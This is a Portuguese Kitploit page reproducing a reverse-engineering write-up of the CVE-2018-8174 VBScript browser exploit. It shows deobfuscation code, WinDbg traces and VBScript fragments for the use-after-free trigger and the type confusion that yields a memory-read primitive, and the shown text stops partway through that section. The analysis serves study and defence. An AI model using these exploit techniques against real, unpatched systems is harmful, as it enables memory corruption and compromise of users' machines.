Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2018-8174_analysis — Análise da exploração VBS CVE-2018-8174 | Kitploit
Ferramentas/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoEngenharia ReversaAprendizado e EducaçãoExploração de Binários
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Análise da exploração VBS CVE-2018-8174

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
301419há 8 anosRevisado pelo Kitploit

Dissecando exploit moderno de navegador: estudo de caso do CVE-2018-8174

Visão Geral

Quando este exploit surgiu pela primeira vez na virada de abril para maio, despertou meu interesse, pois, apesar da forte ofuscação, a estrutura do código parecia bem organizada e o código de exploração da vulnerabilidade pequeno o suficiente para tornar a análise mais simples. Baixei o POC do github e decidi que seria um bom candidato para dar uma olhada por baixo dos panos. Na época, duas análises já haviam sido publicadas, uma da 360 e outra da Kaspersky. Ambas me ajudaram a entender como funcionava, mas não foram suficientes para compreender profundamente todos os aspectos do exploit. Por isso, decidi analisá-lo por conta própria e compartilhar minhas descobertas.

Pré-processamento

Primeiro, para remover a ofuscação de inteiros, usei substituição por regex em script Python:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Quanto aos nomes ofuscados, renomeei-os progressivamente durante a análise. Esta análise é melhor lida com o código-fonte, cujo link está no final.

Use-after-free

A vulnerabilidade ocorre quando um objeto é finalizado e a função personalizada Class_Terminate() é chamada. Nesta função, a referência ao objeto sendo liberado é salva em UafArray. A partir de então, UafArray(i) refere-se ao objeto deletado.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Observe também a última linha em Class_Terminate(). Quando copiamos o objeto ClassTerminate para UafArray, seu contador de referência é incrementado. Para equilibrar isso, liberamos novamente atribuindo outro valor a FreedObjectArray. Sem isso, a memória do objeto não seria liberada apesar de chamar Class_Terminate nele, e o próximo objeto não seria alocado em seu lugar.

Método VBScriptClass::Release

Criar e deletar novos objetos é repetido 7 vezes em um loop; após isso, um novo objeto da classe ReuseClass é criado. Ele é alocado na mesma memória que foi previamente ocupada pelas 7 instâncias de ClassTerminate. Para entender melhor, aqui está um script simples do WinDbg que rastreia todas essas alocações:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Aqui está o log de alocação da função UafTrigger:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Podemos ver imediatamente que ReuseClass é de fato alocada na mesma memória que foi atribuída às 7 instâncias anteriores de ClassTerminate. Isso é repetido duas vezes. Terminamos com dois objetos referenciados pelos UafArrays. Nenhuma dessas referências é refletida no contador de referência do objeto. Neste log também podemos notar que mesmo depois que Class_Terminate foi chamado, ainda há algumas manipulações de objeto que alteram seu contador de referência. É por isso que, se não equilibrássemos esse contador em Class_Terminate, obteríamos algo assim:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Endereços de alocação diferentes. O exploit falharia em criar a condição use-after-free.

Confusão de Tipos

Tendo criado esses dois objetos com 7 referências não contabilizadas para cada um, estabelecemos a primitiva de leitura de memória arbitrária. Existem duas classes semelhantes, ReuseClass e FakeReuseClass. Ao substituir a primeira classe pela segunda, ocorre uma confusão de tipos no membro mem.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

Na função SetProp, ReuseClass.mem é salvo e o Default Property Get da classe ReplacingClass_* é chamado; o resultado dessa chamada será colocado em ReuseClass.mem.

Baixar ferramenta